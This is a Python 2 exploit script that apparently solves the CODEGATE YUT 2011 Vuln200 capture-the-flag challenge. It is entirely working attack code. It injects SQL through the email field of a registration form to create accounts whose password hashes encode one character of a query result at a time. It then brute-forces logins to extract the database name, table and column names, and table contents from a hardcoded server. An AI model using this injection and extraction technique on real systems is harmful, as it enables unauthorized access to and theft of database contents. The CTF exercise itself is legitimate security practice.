# CODEGATE YUT 2011: Vuln200 (alternative solution)
# See full details at: http://securityblackswan.blogspot.com
import urllib,urllib2,re,random,string

URL_REGISTER='http://221.141.3.112/register.php'
URL_LOGIN='http://221.141.3.112/index.php'
ret_data=''
USERNAME_1="rand133tab"+str(random.randint(1000,100000))
USERNAME_2="randl33tbb"+str(random.randint(1000,100000))

def readURL(url,iny, textoBuscar):
    values=iny
    #print data
    req = urllib2.Request(url, values)
    response = urllib2.urlopen(req)
    html = response.read()
    #print html
    isOK = re.findall(textoBuscar, html)
    if (len(isOK) == 0):
        return -1

    return 0

def bf(counter):
    global ret_data
    textERR='Wrong password'
    found=False
    #for i in range(0,256):
    for i in string.printable:
        iny="username="+USERNAME_2+str(counter)+"&password=test"+str(ord(i))
        if (readURL(URL_LOGIN,iny,textERR) == -1):
            print "getChar(): " + i
            ret_data=ret_data+i
            return 0
    print "[ERROR] Not Found!!"
    return -1
    
if __name__ == '__main__':
    counter=1
    SQL="user()" #codegate1@localhost
    SQL="database()" #codegate
    SQL='(select table_name from information_schema.tables where table_schema=database() limit 0,1)' #lang
    SQL='(select table_name from information_schema.tables where table_schema=database() limit 1,1)' #raw_data
    #SQL='(select table_name from information_schema.tables where table_schema=database() limit 2,1)'
    SQL='(select column_name from information_schema.columns where table_name=\'raw_data\' limit 0,1)' #data_id
    SQL='(select column_name from information_schema.columns where table_name=\'raw_data\' limit 1,1)' #data_value
    SQL='(select group_concat(data_id,0x3a,data_value) from raw_data where data_id=21)'

    
    iny= "fname=asdf&lname=asdf&username="+USERNAME_1+str(counter)+"&password=a&email='),('test','test','"+USERNAME_2+str(counter)+"',(select MD5(CONCAT('test',ORD(SUBSTRING("+SQL+","+str(counter)+",1)))) from dual),'test')%23"
    textoOK = 'Account successfully registered'

    while (readURL(URL_REGISTER,iny,textoOK)==0):
        if (bf(counter)==-1):
            print "[DEBUG] No valid value returned, End of Data? :("
            break
        counter=counter+1
        iny= "fname=asdf&lname=asdf&username="+USERNAME_1+str(counter)+"&password=a&email='),('test','test','"+USERNAME_2+str(counter)+"',(select MD5(CONCAT('test',ORD(SUBSTRING("+SQL+","+str(counter)+",1)))) from dual),'test')%23"
 
    print "[INFO] Finish. Remember, if no output try to change USERNAME_1 and USERNAME_2 to a random value"
    print "[INFO] output -> " + ret_data
    
